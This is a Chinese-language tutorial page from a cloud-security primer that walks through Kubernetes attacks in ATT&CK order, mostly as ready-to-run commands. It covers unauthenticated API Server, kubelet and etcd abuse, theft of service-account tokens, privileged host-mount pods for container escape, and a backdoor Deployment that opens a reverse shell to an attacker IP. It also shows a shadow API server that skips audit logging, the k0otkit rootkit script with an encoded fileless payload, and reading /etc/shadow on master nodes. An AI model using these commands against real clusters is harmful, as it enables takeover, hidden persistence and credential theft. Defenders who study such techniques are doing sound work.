> For the complete documentation index, see [llms.txt](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-liu-zhang-yun-yuan-sheng-gong-fang/kubernetes-chang-jian-gong-ji-fang-shi/kubernetes-att-and-ck.md).

# Kubernetes ATT\&CK

<figure><img src="/files/hhZG3V2WN5UbaRGGm6Ua" alt=""><figcaption></figcaption></figure>

**识别容器**

首先是Docker再判断是否为K8s

/run/secrets/kubernetes.io/serviceaccount文件是为Pod中的进程和外部用户提供身份信息

```bash
df -h
Filesystem               Size  Used Avail Use% Mounted on
overlay                   50G  3.6G   47G   8% /
tmpfs                     64M     0   64M   0% /dev
tmpfs                    1.9G     0  1.9G   0% /sys/fs/cgroup
/dev/mapper/centos-root   50G  3.6G   47G   8% /etc/hosts
shm                       64M     0   64M   0% /dev/shm
tmpfs            1.9G   12K  1.9G   1% /run/secrets/kubernetes.io/serviceaccount
tmpfs                    1.9G     0  1.9G   0% /proc/acpi
tmpfs                    1.9G     0  1.9G   0% /proc/scsi
tmpfs                    1.9G     0  1.9G   0% /sys/firmware
```

```bash
ls -l /run/secrets/kubernetes.io/serviceaccount/
total 0
lrwxrwxrwx 1 root root 13 Sep 17 01:17 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root 16 Sep 17 01:17 namespace -> ..data/namespace
lrwxrwxrwx 1 root root 12 Sep 17 01:17 token -> ..data/token
```

主要包含了三个内容

* &#x20;namespace指定了pod所在的namespace
* &#x20;CA用于验证apiserver的证书
* &#x20;token用作身份验证

env环境变量

```bash
root@privileged-container:~# env
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
HOSTNAME=privileged-container
DVWA_WEB_SERVICE_PORT=8080
DVWA_WEB_SERVICE_HOST=10.97.153.211
DVWA_WEB_SERVICE_PORT_8080=8080
```

**初始访问**

**容器内应用漏洞**

常用Web应用，由K8s编排Docker部署的Web应用，存在SQL注入、命令执行等，获取到Webshell权限，这时候就拿到了Pod节点权限，通过Pod节点逃逸、横向渗透。

护网中常见的是Shiro拿到权限之后是由K8s部署的，在无法逃逸的情况下，利用Pod节点作为入口点，对内网横向渗透获取其它机器权限。

**API Server未授权访问**

API Server作为中心组件，通常使用kubectl来访问apiserver，也可以通过Kubernetes各个语言的client库来访问kube-apiserver 同时提供 https（默认监听在 6443 端口）和 http API（默认监听在 127.0.0.1 的 8080 端口）访问。

如运维人员配置不当，将默认监听127.0.0.1更改为0.0.0.0，或者添加了--enable-skip-login选项，将会导致未授权访问。

由于鉴权配置不当，将"system:anonymous"用户绑定到"cluster-admin"用户组，从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

可通过命令查看：

```bash
kubectl get clusterrolebindings -o yaml 
```

配置有未授权

{% code overflow="wrap" %}

```bash
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin   --user=system:anonymous
```

{% endcode %}

利用链：

可以通过cdk中的kcurl模块进行利用

查看Pods -> 创建特权容器 -> 执行命令 -> 逃逸完成。

```bash
#查看Pod
https://192.168.250.28:6443/api/v1/namespaces/default/pods?limit=500
```

{% code overflow="wrap" %}

```bash
#创建特权容器
https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-4444
 
POST：
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-3333\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-3333\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-3333","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-3333","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
```

{% endcode %}

{% code overflow="wrap" %}

```bash
#执行命令
https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-3333/exec?stdout=1&stderr=1&tty=true&command=whoami
```

{% endcode %}

YAML描述文件

```bash
apiVersion: v1 #创建该对象所使用的Kubernetes API版本
kind: Pod #对象类型为Pod，可以是Deployment、DaemonSet等
metadata: #识别对象唯一性数据，名称、namespace
  name: test-444 #Pod名称
spec: #Pod规格
  containers:
  - name: test-444 #容器名称
    image: nginx:1.14.2 #镜像
    volumeMounts: #卷
    - name: host
      mountPath: /host #将宿主机的根目录挂载到/host目录下
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
```

提示！

执行

{% code overflow="wrap" %}

```bash

https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami

{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {
    
  },
  "status": "Failure",
  "message": "Upgrade request required",
  "reason": "BadRequest",
  "code": 400
}
```

{% endcode %}

问题原因：

{% embed url="<https://stackoverflow.com/questions/49250370/kubernetes-pod-exec-api-upgrade-request-required>" %}

curl/postman不支持从http升级到websocket因此错误

{% code overflow="wrap" %}

```bash
wscat -n -c
'https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-3333/exec?stdout=1&stderr=1&tty=true&command=whoami'
```

{% endcode %}

**kubelet未授权访问**

每个Node节点上都运行一个 Kubelet 服务进程，默认监听 10250 端口，接收并执行 Master 发来的指令，管理 Pod 及 Pod 中的容器。在缺少对TLS身份验证，而在一些默认配置中启用了，--anonymous-auth 默认为true允许匿名身份访问API。

案例：

[Kubernetes集群被入侵](http://dockone.io/article/2434594)

[kubernetes集群遭挖矿木马突袭](http://blog.nsfocus.net/kubernetes%E9%9B%86%E7%BE%A4%E9%81%AD%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E7%AA%81%E8%A2%AD/)

修改未授权选项：

```bash
cp /var/lib/kubelet/config.yaml /var/lib/kubelet/config.yaml.bak
vim /var/lib/kubelet/config.yaml
anonymous： true
mode: AlwaysAllow
```

攻击方式：

{% code overflow="wrap" %}

```bash
curl -sk https://192.168.238.173:10250/runningpods/ |python -m json.tool
 
curl -k -XPOST "https://192.168.238.173:10250/run/kube-system/node-local-dns-zhrdn/node-local" -d "cmd=whoami"
```

{% endcode %}

新版的k8s认证方式authorization mode默认为webhook,需要 Kubelet 通过 Api Server 进行授权。这样只是将authentication的anonymous改为true也无法利用

利用工具：

[kubeletctl](https://github.com/cyberark/kubeletctl)

{% code overflow="wrap" %}

```bash
Examples:
    // List all pods from kubelet
    kubeletctl pods --server 123.123.123.123
 
    // List all pods from kubelet with token
    kubeletctl pods --token <JWT_token> --server 123.123.123.123
 
    // List all pods from kubelet with token file
    kubeletctl pods --token-file /var/run/secrets/kubernetes.io/serviceaccount/token --server 123.123.123.123
 
    // Searching for service account token in each accessible container
    kubeletctl scan token --server 123.123.123.123
 
    // Searching for pods/containers vulnerable to RCE
    kubeletctl scan rce --server 123.123.123.123
 
    // Run "ls /" command on pod my-nginx-pod/nginx in thedefault namespace
    kubeletctl run "ls /" --namespace default --pod my-nginx-pod --container nginx --server 123.123.123.123
 
    // Run "ls /" command on all existing pods in a node
    kubeletctl.exe run "ls /" --all-pods --server 123.123.123.123
 
    // With certificates
    kubeletctl.exe pods -s <node_ip> --cacert C:\Users\myuser\certs\ca.crt --cert C:\Users\myuser\certs\kubelet-client-current.pem --key C:\Users\myuser\certs\kubelet-client-current.pem
```

{% endcode %}

**etcd获取敏感信息**

2379(用于客户端与ectd通信）在默认配置当中是可以直接访问获取些敏感信息。

本地127.1可免认证访问，其他地址要带--endpoint参数和cert进行认证。

通过某搜索引擎：

```bash
#列出该目录所有节点的信息
http://114.xxx.xxx.155:2379/v2/keys
```

```bash
#添加上recursive=true参数,就会递归地列出所有的值
http://36..xxx.xxx.18:2379/v2/keys/?recursive=true
```

&#x20;

<figure><img src="/files/WiFHVkzDdIycnyEfxc4h" alt=""><figcaption></figcaption></figure>

通过命令方式访问

{% code overflow="wrap" %}

```bash
#检查是否正常连接
etcdctl endpoint health
 
#读取service account token
etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
 
#通过token认证访问API-Server，接管集群
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods
 
#带cert访问etcd
etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health
```

{% endcode %}

**Dashboard面板暴露**

由于鉴权配置不当如添加了--enable-skip-login选项，从而使Dashboard允许匿名用户以管理员权限向集群内部下发指令。

```bash
kubectl get pod -n kube-system | grep dashboard
 
kubectl get svc -n kube-system|grep dashboard
 
kubectl describe -n kube-system secrets admin-user
```

&#x20;

<figure><img src="/files/2yvTjNqarWKXxxPJpYxI" alt=""><figcaption></figcaption></figure>

之后进入到终端，进入到/host通过chroot进行切换bash

&#x20;

**K8s configfile 泄露**

K8s configfile作为K8s集群的管理凭证，其中包含有关K8s集群的详细信息（API Server、登录凭证）。

K8s本身并不维护这类帐户信息，它不会存储到API Server上，仅用于检测用户是否有权限执行所请求的操作。

如办公网机器被入侵、运维电脑存有并且能够访问得到API Server就能够直接接管K8s。

用户凭证保存在kubeconfig 文件中，而kubectl执行命令时会通过以下顺序来找到 kubeconfig 文件：

* &#x20;如果提供了--kubeconfig参数，就使用提供的 kubeconfig 文件。
* &#x20;如果没有提供--kubeconfig 参数，但设置了环境变量 $KUBECONFIG，则使用该环境变量提供的 kubeconfig 文件。
* &#x20;如果以上两种情况都没有，kubectl 就使用默认的 kubeconfig 文件 $HOME/.kube/config。

K8s有两种用户类型：

* &#x20;User Account
* &#x20;Service Account 简称SA

完整利用流程：

K8s configfile --> 创建后门Pod/挂载主机路径 --> 通过Kubectl进入容器 --> 利用挂载目录逃逸。

User Account

```bash
#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
```

```bash
#内容放入config、或指定选项，需要修改Server地址
kubectl --kubeconfig k8s.yaml
```

{% code overflow="wrap" %}

```bash
#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
```

{% endcode %}

```bash
#创建Pod pod.yaml，将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
```

```bash
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default
 
#进入容器中
kubectl exec -it test-444 bash -n default
 
#切换bash，逃逸成功
cd /host
chroot ./ bash
```

Service Account

K8s集群创建的Pod中，容器内部默认携带K8s Service Account的认证凭据(/run/secrets/kubernetes.io/serviceaccount/token)，CDK将利用该凭据尝试认证K8s api-server服务器并访问高权限接口，如果执行成功意味着该账号拥有高权限，您可以直接利用Service Account管理K8s集群。

k8s集群部署的时候默认会在每个pod容器中挂载token文件到

/run/secrets/kubernetes.io/serviceaccount/token

{% code overflow="wrap" %}

```bash
#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

获取token文件内容，并写入如下格式：
apiVersion: v1
clusters:
- cluster:
    insecure-skip-tls-verify: true
    server: https://192.168.238.129:6443
  name: cluster-name
contexts:
- context:
    cluster: cluster-name
    namespace: default
    user: admin
  name: admin
current-context: admin
kind: Config
preferences: {}
users:
- name: admin
  user:
    token: eyJhbGciOiJSUzI1NiIsImtpZCI6IjhGYlREWldiRHFsamVrNmpGdTRzR1ZVa251eHBGWV9zaE5xxxxOrmcZuSIICPW-ydtWco0D4QmwhXvC-pdVGNBgX98GVgxjOBNJL32P2azjdyMBOtA
kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true
```

{% endcode %}

{% code overflow="wrap" %}

```bash
#权限不够会提示：
Error from server (Forbidden): nodes is forbidden: User "system:serviceaccount:default:default" cannot list resource "nodes" in API group "" at the cluster scope
```

{% endcode %}

在Kubernetes中，授权有ABAC（基于属性的访问控制）、RBAC（基于角色的访问控制）、Webhook、Node、AlwaysDeny（一直拒绝）和AlwaysAllow（一直允许）这6种模式。从1.6版本起，Kubernetes 默认启用RBAC访问控制策略。从1.8开始，RBAC已作为稳定的功能。

{% code overflow="wrap" %}

```bash
#获取拉取过的images
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
```

{% endcode %}

```bash
#找到可用的镜像后
#将宿主机的根目录挂载到了我们pod中的 /host目录
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: 100.125.4.222:20202/hwofficial/coredns:1.15.6
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
      
#创建该pod
kubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default \
--insecure-skip-tls-verify=true
 
#进入容器
kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default -
-insecure-skip-tls-verify=true
```

BASH利用方式

{% code overflow="wrap" %}

```bash
#指向内部 API 服务器主机名
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
 
#设置 ServiceAccount 令牌的路径
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
 
#读取 pods 命名空间并将其设置为变量。
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
 
#读取 ServiceAccount 不记名令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
 
# CACERT 路径
export CACERT=${SERVICEACCOUNT}/ca.crt
 
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api
 
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/secrets
 
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
 
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods
 
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey
 
执行以下命令查看当前集群中所有Namespaces。
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces
 
#写入yaml
cat > nginx-pod.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
EOF
 
创建pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k
${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml
 
查看信息
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/default/pods/nginx
 
#执行命令
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=ls&command=-l
or
api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=ls&command=-l&container=nginx&stdin=true&stdout=true&tty=true
```

{% endcode %}

&#x20;

<figure><img src="/files/wS7NX4nZR4vsKEH5zL2e" alt=""><figcaption></figcaption></figure>

**使用恶意镜像**

使用恶意的镜像会危害到集群，例如在Docker Hub拉取不受信任的镜像，可能存在后门以及应用程序版本较低产生的漏洞。

&#x20;

私有镜像仓库

Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器，由VMware开源。配置文件默认密码为：harbor\_admin\_password: Harbor12345

Harbor 1.8.3前版前本存在： CVE-2019-1609-任意管理员注册

危害：攻击者上传构造好的后门镜像，获取镜像中源代码。

**执行**

**创建后门容器**

比如创建：DS、RS、Deployments

最常见的是反弹Shell

{% code overflow="wrap" %}

```bash
#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
 
#内容放入config、或指定选项，需要修改Server地址
kubectl --kubeconfig k8s.yaml
 
#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o
jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
 
#创建Pod pod.yaml，将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
      
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default
 
#进入容器中
kubectl exec -it test-444 bash -n default
 
#切换bash，逃逸成功
cd /host
chroot ./ bash
```

{% endcode %}

* &#x20;利用Service Account
* &#x20;CURL方式请求
* &#x20;kubectl方式请求

**持久化**

**挂载主机路径**

```bash
#创建Pod pod.yaml，将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
      
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default
```

**Deployments**

通过创建容器启用DaemonSets、Deployments，使子容器被清理掉了会恢复

&#x20;

* &#x20;ReplicationController（RC）
  * &#x20;ReplicationController 确保在任何时候都有特定数量的 Pod 副本处于运行状态。&#x20;
* &#x20;Replication Set（RS）
  * &#x20;Replication Set简称RS，官方已经推荐我们使用RS和Deployment来代替RC了，实际上RS和RC的功能基本一致，目前唯一的一个区别就是RC只支持基于等式的selector

&#x20;

* &#x20;Deployment
  * &#x20;主要职责和RC一样的都是保证Pod的数量和健康，二者大部分功能都是完全一致的，我们可以看成是一个升级版的RC控制器

官方组件kube-dns、kube-proxy也都是使用的Deployment来管理

这里使用Deployments来部署后门

```bash
#dep.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deploy
  labels:
    k8s-app: nginx-demo
spec:
  replicas: 3
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: nginx
        image: nginx:1.7.9
        imagePullPolicy: IfNotPresent
        command: ["bash"]
        args: ["-c", "bash -i >& /dev/tcp/192.168.238.173/4242 0>&1"]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory
 
#创建
kubectl create -f dep.yaml
```

**Shadow API Server**

部署一个shadow apiserver，该apiserver具有和集群中现存的apiserver一致的功能，同时开启了全部K8s管理权限，接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。

利用链：

1\. 拥有master node权限

2\. 在攻入的pod内部查找API-server访问地址和凭据

3\. 连接apiserver判断权限

4\. 获取apiserver原有配置

5\. 修改配置

6\. 重新部署shadow apiserver

配置文件：

```bash
/etc/systemd/system/kube-apiserver-test.service
```

```bash
#一键部署Shadow apiserver
./cdk run k8s-shadow-apiserver default
 
#使用到的选项
--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow
 
#kcurl访问
./cdk kcurl anonymous get https://192.168.1.44:9443/api/v1/secrets
```

**Rootkit**

<https://github.com/Metarget/k0otkit>

* &#x20;DaemonSet和Secret资源（快速持续反弹、资源分离）
  * &#x20;利用DaemonSet资源持续反弹，并且创建特权容器。
  * &#x20;利用容器名称相似度伪装
  * &#x20;利用Meterpreter替代反弹Shell
  * &#x20;将Payload隐藏在Secret资源中
* &#x20;kube-proxy镜像（就地取材）
* &#x20;动态容器注入（高隐蔽性）
  * &#x20;查找DaemonSet容器，在已启动的容器中添加后门

Meterpreter（流量加密）

* &#x20;无文件攻击（高隐蔽性）
  * &#x20;利用memfd\_create无文件攻击

{% code overflow="wrap" %}

```bash
#生成k0otkit
./pre_exp.sh
 
#监听
./handle_multi_reverse_shell.sh
 
#k0otkit.sh的内容复制到master
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
 
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
 
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace: kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhOGVlOTI2ODAyMDAxMTY3ODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF
 
# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below
 
# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
  | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
  | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n                name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
  | kubectl --kubeconfig /root/.kube/config replace -f -
```

{% endcode %}

**cronjob持久化**

Job负责处理任务，即仅执行一次的任务

CronJob则就是在Job上加上了时间调度。

```bash
kubectl create -f https://k8s.io/examples/application/job/cronjob.yaml
apiVersion: batch/v1
kind: CronJob
metadata:
  name: hello
spec:
  schedule: "*/1 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image: busybox
            imagePullPolicy: IfNotPresent
            command:
            - /bin/sh
            - -c
            - #反弹Shell
          restartPolicy: OnFailure
```

**权限提升**

* &#x20;特权容器逃逸
* &#x20;Docker Socket
* &#x20;Docker漏洞
* &#x20;内核漏洞
* Linux Capabilities逃逸
* &#x20;Procfs目录挂载逃逸
* &#x20;Docker Daemon 未授权
* &#x20;K8s漏洞提权
* &#x20;K8s Rolebinding添加用户权限（Cluster-admin binding）
* &#x20;访问集群外资源（Access cloud resources）

**探测**

* &#x20;内网扫描
* &#x20;K8s常用端口探测
* &#x20;集群内部网络
* &#x20;Cluster内网扫描

**集群内网扫描**

Kubernetes的网络中存在4种主要类型的通信

* &#x20;同一Pod内的容器间通信
* &#x20;各Pod彼此间通信
* &#x20;Pod与Service间的通信
* &#x20;集群外部的流量与Service间的通信。

所以和常规内网渗透无区别，nmap、masscan等扫描

10/172/192

**K8s常用端口探测**

<figure><img src="/files/cUaFqZGREJdzSA1Z8Xvo" alt=""><figcaption></figcaption></figure>

**集群内部网络**

* Flannel网络插件默认使用10.244.0.0/16网络
* &#x20;Calico默认使用192.168.0.0/16网络

&#x20;

整体攻击思路

* &#x20;拿到容器
* 逃逸成功
  * &#x20;获取Kubeconfig、执行kubectl控制集群
  * &#x20;逃逸失败
  * &#x20;Serviceaccount
  * &#x20;通过curl、kubectl创建特权容器
  * &#x20;逃逸成功，进行控制
* &#x20;探测网络
  * &#x20;扫描网段发现控制面板，SSH服务等
  * &#x20;API Server
  * &#x20;Etcd等
  * &#x20;未授权
* &#x20;搞其它的Pod、容器
* &#x20;查找容器中serviceaccount等进行逃逸

**横向移动**

* &#x20;容器逃逸
* &#x20;通过Service Account访问K8s API
* &#x20;Dashboard面板
* &#x20;ConfigMap
* &#x20;污点(Taint)横向渗透
* &#x20;第三方组件风险
* &#x20;DNS投毒（CoreDNS poisoning）
* &#x20;ARP投毒和IP欺骗（ARP poisoning and IP spoofing）

**ConfigMap**

提供了向容器中注入配置信息的能力，不仅可以用来保存单个属性，也可以用来保存整个配置文件

一般情况下ConfigMap是用来存储一些非安全的配置信息

```bash
#查看configmap列表
kubectl get configmap
 
#查看详细信息
kubectl describe configmaps cm-data
Name:         cm-data
Namespace:    default
Labels:       <none>
Annotations:  <none>
 
Data
====
redis.conf:
----
host=127.0.0.1
port=6379
 
mysql.conf:
----
host=127.0.0.1
port=3306
 
#查看键值
kubectl get configmaps cm-data -o yaml
```

**污点(Taint)横向渗透**

污点是K8s高级调度的特性，用于限制哪些Pod可以被调度到某一个节点。

一般主节点包含一个污点，这个污点是阻止Pod调度到主节点上面，除非有Pod能容忍这个污点。

而通常容忍这个污点的Pod都是系统级别的Pod，例如kube-system

![](/files/Ym4ouWGuOpo1BNGDPNxH)&#x20;

控制Pod创建时候的污点来向集群内的节点进行喷射创建。

```bash
#Node中查看节点信息
[root@node1 ~]# kubectl get nodes
NAME              STATUS                     ROLES    AGE   VERSION
192.168.238.129   Ready,SchedulingDisabled   master   30d   v1.21.0
192.168.238.130   Ready,SchedulingDisabled   master   30d   v1.21.0
192.168.238.131   Ready                      node     30d   v1.21.0
192.168.238.132   Ready                      node     30d   v1.21.0
```

```bash
#确认Master节点的容忍度
[root@node1 ~]# kubectl describe nodes 192.168.238.130
Name:               192.168.238.130
Roles:              master
Labels:             beta.kubernetes.io/arch=amd64
                    beta.kubernetes.io/os=linux
                    kubernetes.io/arch=amd64
                    kubernetes.io/hostname=192.168.238.130
                    kubernetes.io/os=linux
                    kubernetes.io/role=master
Annotations:        flannel.alpha.coreos.com/backend-data: {"VtepMAC":"66:3b:20:6a:eb:ff"}
                    flannel.alpha.coreos.com/backend-type: vxlan
                    flannel.alpha.coreos.com/kube-subnet-manager: true
                    flannel.alpha.coreos.com/public-ip: 192.168.238.130
                    node.alpha.kubernetes.io/ttl: 0
                    volumes.kubernetes.io/controller-managed-attach-detach: true
CreationTimestamp:  Tue, 14 Sep 2021 17:41:30 +0800
Taints:             node.kubernetes.io/unschedulable:NoSchedule
```

```bash
#创建带有容忍参数的Pod
kubectl create -f control-master.yaml
 
#control-master.yaml内容：
apiVersion: v1
kind: Pod
metadata:
  name: control-master-15
spec:
  tolerations:
    - key: node.kubernetes.io/unschedulable
      operator: Exists
      effect: NoSchedule
  containers:
    - name: control-master-15
      image: ubuntu:18.04
      command: ["/bin/sleep", "3650d"]
      volumeMounts:
      - name: master
        mountPath: /master
  volumes:
  - name: master
    hostPath:
      path: /
      type: Directory
```

&#x20;

<figure><img src="/files/B4h1xpgemxBMNwsLqdwz" alt=""><figcaption></figcaption></figure>

```bash
#获得Master控制端
kubectl exec control-master-15 -it bash
chroot /master bash
cat /etc/shadow
```

&#x20;

**第三方组件风险**

* &#x20;供应层
  * &#x20;自动化和配置：Chef、Puppet、Ansible、Terraform、KubeEdge
  * &#x20;镜像仓库：Docker Hub、Harbor、artifactory
* &#x20;运行时层
  * &#x20;容器运行时：Containerd、CRI-O、Kata、gVisor、Firecracker
  * &#x20;云原生网络：Calico、Weave Net、Flannel、Antrea、NSX-T
* &#x20;编排管理层
  * &#x20;编排和调度：Kubernetes、Docker Swarm、Mesos
  * &#x20;协调和服务发现：CoreDNS、Etcd、Zookeeper、Eureka
  * &#x20;API网关：Kong、Mulesoft、Ambassador
  * &#x20;服务网格：lstio、Linkerd、Consul
* &#x20;应用程序定义和开发层
